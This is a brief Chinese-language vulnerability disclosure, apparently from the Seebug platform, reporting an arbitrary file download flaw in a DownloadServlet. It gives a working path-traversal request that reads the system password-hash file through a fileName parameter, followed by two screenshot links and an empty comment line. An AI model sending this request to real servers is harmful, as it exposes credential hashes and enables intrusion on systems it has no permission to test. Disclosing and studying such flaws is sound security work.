访问如下URL,可任意下载系统文件:
http://ip:port/DownloadServlet?fileName=../../etc/shadow
![](https://images.seebug.org/contribute/dcbed971-1aef-4318-b315-e258bf58505f-QQ截圖20150927145130.png)
![](https://images.seebug.org/contribute/717a18dc-0f1d-48e3-81b1-edb45f5cfd7a-QQ截圖20150927145213.png)
暂无评论